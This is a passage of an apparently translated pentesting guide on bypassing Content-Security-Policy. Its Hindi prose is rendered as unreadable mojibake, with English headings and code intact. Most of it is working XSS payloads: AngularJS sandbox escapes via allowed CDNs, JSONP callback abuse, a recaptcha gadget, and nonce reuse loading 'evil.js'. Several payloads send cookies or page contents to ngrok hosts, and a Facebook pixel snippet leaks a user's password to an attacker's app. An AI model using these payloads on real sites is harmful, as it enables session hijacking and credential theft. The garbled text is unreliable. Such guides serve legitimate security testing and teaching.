рд╣рд╛рд▓рд╛рдВрдХрд┐, рдпрд╣ рдЕрддреНрдпрдзрд┐рдХ рд╕рдВрднрд╛рд╡рд┐рдд рд╣реИ рдХрд┐ рд╕рд░реНрд╡рд░ рдЕрдкрд▓реЛрдб рдХреА рдЧрдИ рдлрд╝рд╛рдЗрд▓ рдХреЛ рдорд╛рдиреНрдп рдХрд░ рд░рд╣рд╛ рд╣реИ рдФрд░ рдХреЗрд╡рд▓ рдЖрдкрдХреЛ рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдкреНрд░рдХрд╛рд░ рдХреА рдлрд╝рд╛рдЗрд▓реЗрдВ рдЕрдкрд▓реЛрдб рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдЧрд╛ред

рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рднрд▓реЗ рд╣реА рдЖрдк рд╕рд░реНрд╡рд░ рджреНрд╡рд╛рд░рд╛ рд╕реНрд╡реАрдХрд╛рд░ рдХреА рдЧрдИ рдПрдХреНрд╕рдЯреЗрдВрд╢рди (рдЬреИрд╕реЗ: script.png) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ JS рдХреЛрдб рдлрд╝рд╛рдЗрд▓ рдХреЗ рдЕрдВрджрд░ рдЕрдкрд▓реЛрдб рдХрд░ рд╕рдХреЗрдВ, рдпрд╣ рдкрд░реНрдпрд╛рдкреНрдд рдирд╣реАрдВ рд╣реЛрдЧрд╛ рдХреНрдпреЛрдВрдХрд┐ рдХреБрдЫ рд╕рд░реНрд╡рд░ рдЬреИрд╕реЗ рдЕрдкрд╛рдЪреЗ рд╕рд░реНрд╡рд░ рдлрд╛рдЗрд▓ рдХреЗ рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдХреЗ рдЖрдзрд╛рд░ рдкрд░ MIME рдкреНрд░рдХрд╛рд░ рдХрд╛ рдЪрдпрди рдХрд░рддреЗ рд╣реИрдВ рдФрд░ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдЬреИрд╕реЗ Chrome Javascript рдХреЛрдб рдХреЛ рдХреБрдЫ рдРрд╕рд╛ рдХрд░рдиреЗ рд╕реЗ рдЕрд╕реНрд╡реАрдХреГрдд рдХрд░ рджреЗрдВрдЧреЗ рдЬреЛ рдПрдХ рдЫрд╡рд┐ рд╣реЛрдиреА рдЪрд╛рд╣рд┐рдПред "рдЙрдореНрдореАрдж рд╣реИ", рд╡рд╣рд╛рдБ рдЧрд▓рддрд┐рдпрд╛рдБ рд╣реИрдВред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдПрдХ CTF рд╕реЗ рдореИрдВрдиреЗ рд╕реАрдЦрд╛ рдХрд┐ Apache рдХреЛ _.wave**_ рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдХрд╛ рдкрддрд╛ рдирд╣реАрдВ рд╣реИ, рдЗрд╕рд▓рд┐рдП рдпрд╣ рдЗрд╕реЗ MIME рдкреНрд░рдХрд╛рд░ рдЬреИрд╕реЗ audio/* рдХреЗ рд╕рд╛рде рд╕рд░реНрд╡ рдирд╣реАрдВ рдХрд░рддрд╛ рд╣реИред

рдпрд╣рд╛рдВ рд╕реЗ, рдпрджрд┐ рдЖрдк рдПрдХ XSS рдФрд░ рдПрдХ рдлрд╝рд╛рдЗрд▓ рдЕрдкрд▓реЛрдб рдкрд╛рддреЗ рд╣реИрдВ, рдФрд░ рдЖрдк рдПрдХ рдЧрд▓рдд рд╡реНрдпрд╛рдЦреНрдпрд╛рдпрд┐рдд рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдЦреЛрдЬрдиреЗ рдореЗрдВ рд╕рдлрд▓ рд╣реЛрддреЗ рд╣реИрдВ, рддреЛ рдЖрдк рдЙрд╕ рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдХреЗ рд╕рд╛рде рдПрдХ рдлрд╝рд╛рдЗрд▓ рдЕрдкрд▓реЛрдб рдХрд░рдиреЗ рдФрд░ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреА рд╕рд╛рдордЧреНрд░реА рдХреЛ рдЖрдЬрд╝рдорд╛ рд╕рдХрддреЗ рд╣реИрдВред рдпрд╛, рдпрджрд┐ рд╕рд░реНрд╡рд░ рдЕрдкрд▓реЛрдб рдХреА рдЧрдИ рдлрд╝рд╛рдЗрд▓ рдХреЗ рд╕рд╣реА рдкреНрд░рд╛рд░реВрдк рдХреА рдЬрд╛рдВрдЪ рдХрд░ рд░рд╣рд╛ рд╣реИ, рддреЛ рдПрдХ рдкреЙрд▓реАрдЧреНрд▓реЙрдЯ рдмрдирд╛рдПрдВ (рдпрд╣рд╛рдВ рдХреБрдЫ рдкреЙрд▓реАрдЧреНрд▓реЙрдЯ рдЙрджрд╛рд╣рд░рдг)ред

Form-action

рдпрджрд┐ JS рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░рдирд╛ рд╕рдВрднрд╡ рдирд╣реАрдВ рд╣реИ, рддреЛ рдЖрдк рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХреЛ рдлреЙрд░реНрдо рдПрдХреНрд╢рди рдХреЛ рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░рдХреЗ рдирд┐рдХрд╛рд▓рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ (рдФрд░ рд╢рд╛рдпрдж рдкрд╛рд╕рд╡рд░реНрдб рдкреНрд░рдмрдВрдзрдХреЛрдВ рд╕реЗ рдкрд╛рд╕рд╡рд░реНрдб рдХреЛ рдСрдЯреЛ-рдлрд┐рд▓ рдХрд░рдиреЗ рдХреА рдЙрдореНрдореАрдж рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ)ред рдЖрдк рдЗрд╕ рд░рд┐рдкреЛрд░реНрдЯ рдореЗрдВ рдПрдХ рдЙрджрд╛рд╣рд░рдг рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВред рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ default-src рдлреЙрд░реНрдо рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЛ рдХрд╡рд░ рдирд╣реАрдВ рдХрд░рддрд╛ рд╣реИред

Third Party Endpoints + ('unsafe-eval')

{% hint style="warning" %} рдХреБрдЫ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдкреЗрд▓реЛрдб рдХреЗ рд▓рд┐рдП unsafe-eval рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ рд╣реИред {% endhint %}

Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';

рдПрдХ рдХрдордЬреЛрд░ рд╕рдВрд╕реНрдХрд░рдг рдХрд╛ рдПрдВрдЧреБрд▓рд░ рд▓реЛрдб рдХрд░реЗрдВ рдФрд░ рдордирдорд╛рдирд╛ JS рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдВ:

<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>


"><script src="https://cdnjs.cloudflare.com/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>


"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script>
<div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>


With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-author-writeup/
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js></script>
<iframe/ng-app/ng-csp/srcdoc="
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.0/angular.js>
</script>
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>

Payloads using Angular + a library with functions that return the window object (check out this post):

{% hint style="info" %} рдпрд╣ рдкреЛрд╕реНрдЯ рджрд┐рдЦрд╛рддрд╛ рд╣реИ рдХрд┐ рдЖрдк cdn.cloudflare.com (рдпрд╛ рдХрд┐рд╕реА рдЕрдиреНрдп рдЕрдиреБрдордд JS рд▓рд╛рдЗрдмреНрд░реЗрд░реА рд░рд┐рдкреЙрдЬрд┐рдЯрд░реА) рд╕реЗ рд╕рднреА рд▓рд╛рдЗрдмреНрд░реЗрд░реАрдЬрд╝ рдХреЛ рд▓реЛрдб рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдкреНрд░рддреНрдпреЗрдХ рд▓рд╛рдЗрдмреНрд░реЗрд░реА рд╕реЗ рд╕рднреА рдЬреЛрдбрд╝реЗ рдЧрдП рдлрд╝рдВрдХреНрд╢рдВрд╕ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдФрд░ рдпрд╣ рдЬрд╛рдВрдЪ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдХреМрди рд╕реЗ рдлрд╝рдВрдХреНрд╢рдВрд╕ рдХреМрди рд╕реА рд▓рд╛рдЗрдмреНрд░реЗрд░реАрдЬрд╝ рд╕реЗ window рдСрдмреНрдЬреЗрдХреНрдЯ рд▓реМрдЯрд╛рддреЗ рд╣реИрдВред {% endhint %}

<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
<div ng-app ng-csp>
{{$on.curry.call().alert(1)}}
{{[].empty.call().alert([].empty.call().document.domain)}}
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{$on.curry.call().alert('xss')}}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{[].erase.call().alert('xss')}}
</div>

Angular XSS рдПрдХ рдХреНрд▓рд╛рд╕ рдирд╛рдо рд╕реЗ:

<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>

Google recaptcha JS рдХреЛрдб рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ

рдЗрд╕ CTF рд▓реЗрдЦ рдХреЗ рдЕрдиреБрд╕рд╛рд░, рдЖрдк CSP рдХреЗ рднреАрддрд░ https://www.google.com/recaptcha/ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ CSP рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рддреЗ рд╣реБрдП рдордирдЪрд╛рд╣рд╛ JS рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ:

<div
ng-controller="CarouselController as c"
ng-init="c.init()"
>
&#91[c.element.ownerDocument.defaultView.parent.location="http://google.com?"+c.element.ownerDocument.cookie]]
<div carousel><div slides></div></div>

<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>

рдЕрдзрд┐рдХ рдкреЗрд▓реЛрдб рдЗрд╕ рд▓реЗрдЦ рд╕реЗ:

<script src='https://www.google.com/recaptcha/about/js/main.min.js'></script>

<!-- Trigger alert -->
<img src=x ng-on-error='$event.target.ownerDocument.defaultView.alert(1)'>

<!-- Reuse nonce -->
<img src=x ng-on-error='
doc=$event.target.ownerDocument;
a=doc.defaultView.top.document.querySelector("[nonce]");
b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)'>

www.google.com рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдУрдкрди рд░реАрдбрд╛рдпрд░реЗрдХреНрдЯ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ

рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд URL example.com рдкрд░ рд░реАрдбрд╛рдпрд░реЗрдХреНрдЯ рдХрд░рддрд╛ рд╣реИ (рдпрд╣рд╛рдВ рд╕реЗ):

https://www.google.com/amp/s/example.com/

Abusing *.google.com/script.google.com

Google Apps Script рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ script.google.com рдХреЗ рдЕрдВрджрд░ рдПрдХ рдкреГрд╖реНрда рдореЗрдВ рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИред рдЬреИрд╕реЗ рдХрд┐ рдЗрд╕реЗ рдЗрд╕ рд░рд┐рдкреЛрд░реНрдЯ рдореЗрдВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред

Third Party Endpoints + JSONP

Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';

рдРрд╕реЗ рдкрд░рд┐рджреГрд╢реНрдп рдЬрд╣рд╛рдВ script-src рдХреЛ self рдФрд░ рдПрдХ рд╡рд┐рд╢реЗрд╖ рдбреЛрдореЗрди рдкрд░ рд╕реЗрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рдЬрд┐рд╕реЗ рд╡реНрд╣рд╛рдЗрдЯрд▓рд┐рд╕реНрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, JSONP рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдмрд╛рдпрдкрд╛рд╕ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред JSONP рдПрдВрдбрдкреЙрдЗрдВрдЯ рдЕрд╕реБрд░рдХреНрд╖рд┐рдд рдХреЙрд▓рдмреИрдХ рд╡рд┐рдзрд┐рдпреЛрдВ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреЗ рд╣реИрдВ рдЬреЛ рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдХреЛ XSS рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреЗ рд╣реИрдВ, рдХрд╛рд░реНрдпрд╢реАрд▓ рдкреЗрд▓реЛрдб:

"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
https://www.youtube.com/oembed?callback=alert;
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>

JSONBee рд╡рд┐рднрд┐рдиреНрди рд╡реЗрдмрд╕рд╛рдЗрдЯреЛрдВ рдХреЗ CSP рдмрд╛рдпрдкрд╛рд╕ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рддреИрдпрд╛рд░ JSONP рдПрдВрдбрдкреЙрдЗрдВрдЯреНрд╕ рд╢рд╛рдорд┐рд▓ рдХрд░рддрд╛ рд╣реИред

рдпрджрд┐ рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рдПрдВрдбрдкреЙрдЗрдВрдЯ рдореЗрдВ рдПрдХ рдУрдкрди рд░реАрдбрд╛рдпрд░реЗрдХреНрдЯ рд╣реИ, рддреЛ рд╡рд╣реА рднреЗрджреНрдпрддрд╛ рдЙрддреНрдкрдиреНрди рд╣реЛрдЧреА рдХреНрдпреЛрдВрдХрд┐ рдпрджрд┐ рдкреНрд░рд╛рд░рдВрднрд┐рдХ рдПрдВрдбрдкреЙрдЗрдВрдЯ рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рд╣реИ, рддреЛ рд░реАрдбрд╛рдпрд░реЗрдХреНрдЯ рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рд╣реЛрддреЗ рд╣реИрдВред

рдерд░реНрдб рдкрд╛рд░реНрдЯреА рджреБрд░реБрдкрдпреЛрдЧ

рдЬреИрд╕рд╛ рдХрд┐ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдкреЛрд╕реНрдЯ рдореЗрдВ рд╡рд░реНрдгрд┐рдд рд╣реИ, рдХрдИ рдерд░реНрдб рдкрд╛рд░реНрдЯреА рдбреЛрдореЗрди рд╣реИрдВ, рдЬреЛ CSP рдореЗрдВ рдХрд╣реАрдВ рди рдХрд╣реАрдВ рдЕрдиреБрдорддрд┐ рджреА рдЬрд╛ рд╕рдХрддреА рд╣реИрдВ, рдЬрд┐рдиреНрд╣реЗрдВ рдбреЗрдЯрд╛ рдХреЛ рдПрдХреНрд╕рдлрд┐рд▓реНрдЯреНрд░реЗрдЯ рдХрд░рдиреЗ рдпрд╛ рдЬрд╛рд╡рд╛рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рджреБрд░реБрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдЗрдирдореЗрдВ рд╕реЗ рдХреБрдЫ рдерд░реНрдб-рдкрд╛рд░реНрдЯреА рд╣реИрдВ:

Entity Allowed Domain Capabilities
Facebook www.facebook.com, *.facebook.com Exfil
Hotjar *.hotjar.com, ask.hotjar.io Exfil
Jsdelivr *.jsdelivr.com, cdn.jsdelivr.net Exec
Amazon CloudFront *.cloudfront.net Exfil, Exec
Amazon AWS *.amazonaws.com Exfil, Exec
Azure Websites *.azurewebsites.net, *.azurestaticapps.net Exfil, Exec
Salesforce Heroku *.herokuapp.com Exfil, Exec
Google Firebase *.firebaseapp.com Exfil, Exec

рдпрджрд┐ рдЖрдк рдЕрдкрдиреЗ рд▓рдХреНрд╖реНрдп рдХреЗ CSP рдореЗрдВ рдХрд┐рд╕реА рднреА рдЕрдиреБрдорддрд┐ рдкреНрд░рд╛рдкреНрдд рдбреЛрдореЗрди рдХреЛ рдкрд╛рддреЗ рд╣реИрдВ, рддреЛ рд╕рдВрднрд╛рд╡рдирд╛ рд╣реИ рдХрд┐ рдЖрдк рдерд░реНрдб-рдкрд╛рд░реНрдЯреА рд╕реЗрд╡рд╛ рдкрд░ рдкрдВрдЬреАрдХрд░рдг рдХрд░рдХреЗ CSP рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░, рдпрд╛ рддреЛ рдЙрд╕ рд╕реЗрд╡рд╛ рдкрд░ рдбреЗрдЯрд╛ рдХреЛ рдПрдХреНрд╕рдлрд┐рд▓реНрдЯреНрд░реЗрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдпрд╛ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдпрджрд┐ рдЖрдк рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд CSP рдкрд╛рддреЗ рд╣реИрдВ:

Content-Security-PolicyтАЛ: default-src 'selfтАЩ www.facebook.com;тАЛ

рдпрд╛

Content-Security-PolicyтАЛ: connect-src www.facebook.com;тАЛ

рдЖрдкрдХреЛ рдбреЗрдЯрд╛ рдХреЛ рдПрдХреНрд╕рдлрд┐рд▓реНрдЯреНрд░реЗрдЯ рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП, рдЬреИрд╕реЗ рдХрд┐ рд╣рдореЗрд╢рд╛ Google Analytics/Google Tag Manager рдХреЗ рд╕рд╛рде рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ, рдЖрдк рдЗрди рд╕рд╛рдорд╛рдиреНрдп рдЪрд░рдгреЛрдВ рдХрд╛ рдкрд╛рд▓рди рдХрд░рддреЗ рд╣реИрдВ:

  1. рдпрд╣рд╛рдБ рдПрдХ Facebook Developer рдЦрд╛рддрд╛ рдмрдирд╛рдПрдВред
  2. рдПрдХ рдирдпрд╛ "Facebook Login" рдРрдк рдмрдирд╛рдПрдВ рдФрд░ "Website" рдЪреБрдиреЗрдВред
  3. "Settings -> Basic" рдкрд░ рдЬрд╛рдПрдВ рдФрд░ рдЕрдкрдирд╛ "App ID" рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВред
  4. рд▓рдХреНрд╖рд┐рдд рд╕рд╛рдЗрдЯ рдкрд░, рдЬрд┐рд╕рд╕реЗ рдЖрдк рдбреЗрдЯрд╛ рдПрдХреНрд╕рдлрд┐рд▓реНрдЯреНрд░реЗрдЯ рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ, рдЖрдк "customEvent" рдФрд░ рдбреЗрдЯрд╛ рдкреЗрд▓реЛрдб рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ Facebook SDK рдЧреИрдЬреЗрдЯ "fbq" рдХрд╛ рд╕реАрдзреЗ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдбреЗрдЯрд╛ рдПрдХреНрд╕рдлрд┐рд▓реНрдЯреНрд░реЗрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред
  5. рдЕрдкрдиреЗ рдРрдк рдХреЗ "Event Manager" рдкрд░ рдЬрд╛рдПрдВ рдФрд░ рдЙрд╕ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХрд╛ рдЪрдпрди рдХрд░реЗрдВ рдЬрд┐рд╕реЗ рдЖрдкрдиреЗ рдмрдирд╛рдпрд╛ рд╣реИ (рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдЗрд╡реЗрдВрдЯ рдореИрдиреЗрдЬрд░ рдПрдХ URL рдореЗрдВ рдкрд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдЬреЛ рдЗрд╕ рддрд░рд╣ рдХрд╛ рд╣реИ: https://www.facebook.com/events_manager2/list/pixel/[app-id]/test_events)
  6. "Test Events" рдЯреИрдм рдХрд╛ рдЪрдпрди рдХрд░реЗрдВ рддрд╛рдХрд┐ "рдЖрдкрдХреА" рд╡реЗрдмрд╕рд╛рдЗрдЯ рджреНрд╡рд╛рд░рд╛ рднреЗрдЬреЗ рдЬрд╛ рд░рд╣реЗ рдЗрд╡реЗрдВрдЯреНрд╕ рдХреЛ рджреЗрдЦрд╛ рдЬрд╛ рд╕рдХреЗред

рдлрд┐рд░, рдкреАрдбрд╝рд┐рдд рдкрдХреНрд╖ рдкрд░, рдЖрдк Facebook рдЯреНрд░реИрдХрд┐рдВрдЧ рдкрд┐рдХреНрд╕реЗрд▓ рдХреЛ рд╣рдорд▓рд╛рд╡рд░ рдХреЗ Facebook рдбреЗрд╡рд▓рдкрд░ рдЦрд╛рддрд╛ рдРрдк-рдЖрдИрдбреА рдХреА рдУрд░ рдЗрдВрдЧрд┐рдд рдХрд░рдиреЗ рдФрд░ рдЗрд╕ рддрд░рд╣ рдХрд╛ рдПрдХ рдХрд╕реНрдЯрдо рдЗрд╡реЗрдВрдЯ рдЬрд╛рд░реА рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рддреЗ рд╣реИрдВ:

fbq('init', '1279785999289471');тАЛ // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{тАЛ
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"тАЛ
});

рдЬреИрд╕реЗ рдХрд┐ рдкрд┐рдЫрд▓реЗ рддрд╛рд▓рд┐рдХрд╛ рдореЗрдВ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдЕрдиреНрдп рд╕рд╛рдд рддреГрддреАрдп-рдкрдХреНрд╖ рдбреЛрдореЗрди рдХреЗ рд▓рд┐рдП, рдЙрдиреНрд╣реЗрдВ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рдХрдИ рдЕрдиреНрдп рддрд░реАрдХреЗ рд╣реИрдВред рдЕрдиреНрдп рддреГрддреАрдп-рдкрдХреНрд╖ рджреБрд░реБрдкрдпреЛрдЧреЛрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрддрд┐рд░рд┐рдХреНрдд рд╕реНрдкрд╖реНрдЯреАрдХрд░рдг рдХреЗ рд▓рд┐рдП рдкрд╣рд▓реЗ рдХреЗ рдмреНрд▓реЙрдЧ рдкреЛрд╕реНрдЯ рдХреЛ рджреЗрдЦреЗрдВред

Bypass via RPO (Relative Path Overwrite)

рдкрде рдкреНрд░рддрд┐рдмрдВрдзреЛрдВ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрд░реЛрдХреНрдд рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢рди рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдПрдХ рдФрд░ рддрдХрдиреАрдХ рд╣реИ рдЬрд┐рд╕реЗ Relative Path Overwrite (RPO) рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬрд┐рд╕реЗ рдХреБрдЫ рд╕рд░реНрд╡рд░реЛрдВ рдкрд░ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред

рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдпрджрд┐ CSP рдкрде https://example.com/scripts/react/ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ, рддреЛ рдЗрд╕реЗ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рддрд░реАрдХреЗ рд╕реЗ рдмрд╛рдпрдкрд╛рд╕ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ:

<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>

рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдЕрдВрддрддрдГ https://example.com/scripts/angular/angular.js рдХреЛ рд▓реЛрдб рдХрд░реЗрдЧрд╛ред

рдпрд╣ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдХреЗ рд▓рд┐рдП, рдЖрдк https://example.com/scripts/react/ рдХреЗ рддрд╣рдд рд╕реНрдерд┐рдд ..%2fangular%2fangular.js рдирд╛рдордХ рдлрд╝рд╛рдЗрд▓ рдХреЛ рд▓реЛрдб рдХрд░ рд░рд╣реЗ рд╣реИрдВ, рдЬреЛ CSP рдХреЗ рдЕрдиреБрд░реВрдк рд╣реИред

тИС, рд╡реЗ рдЗрд╕реЗ рдбрд┐рдХреЛрдб рдХрд░реЗрдВрдЧреЗ, рдкреНрд░рднрд╛рд╡реА рд░реВрдк рд╕реЗ https://example.com/scripts/react/../angular/angular.js рдХрд╛ рдЕрдиреБрд░реЛрдз рдХрд░рддреЗ рд╣реБрдП, рдЬреЛ https://example.com/scripts/angular/angular.js рдХреЗ рдмрд░рд╛рдмрд░ рд╣реИред

рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдФрд░ рд╕рд░реНрд╡рд░ рдХреЗ рдмреАрдЪ URL рд╡реНрдпрд╛рдЦреНрдпрд╛ рдореЗрдВ рдЗрд╕ рдЕрд╕рдВрдЧрддрд┐ рдХрд╛ рд▓рд╛рдн рдЙрдард╛рдХрд░, рдкрде рдирд┐рдпрдореЛрдВ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред

рд╕рдорд╛рдзрд╛рди рдпрд╣ рд╣реИ рдХрд┐ рд╕рд░реНрд╡рд░-рд╕рд╛рдЗрдб рдкрд░ %2f рдХреЛ / рдХреЗ рд░реВрдк рдореЗрдВ рдирд╣реАрдВ рдорд╛рдирд╛ рдЬрд╛рдП, рдЬрд┐рд╕рд╕реЗ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдФрд░ рд╕рд░реНрд╡рд░ рдХреЗ рдмреАрдЪ рд╡реНрдпрд╛рдЦреНрдпрд╛ рдореЗрдВ рдирд┐рд░рдВрддрд░рддрд╛ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рд╣реЛ рд╕рдХреЗ рдФрд░ рдЗрд╕ рд╕рдорд╕реНрдпрд╛ рд╕реЗ рдмрдЪрд╛ рдЬрд╛ рд╕рдХреЗред

рдСрдирд▓рд╛рдЗрди рдЙрджрд╛рд╣рд░рдг: https://jsbin.com/werevijewa/edit?html,output

Iframes JS рдирд┐рд╖реНрдкрд╛рджрди

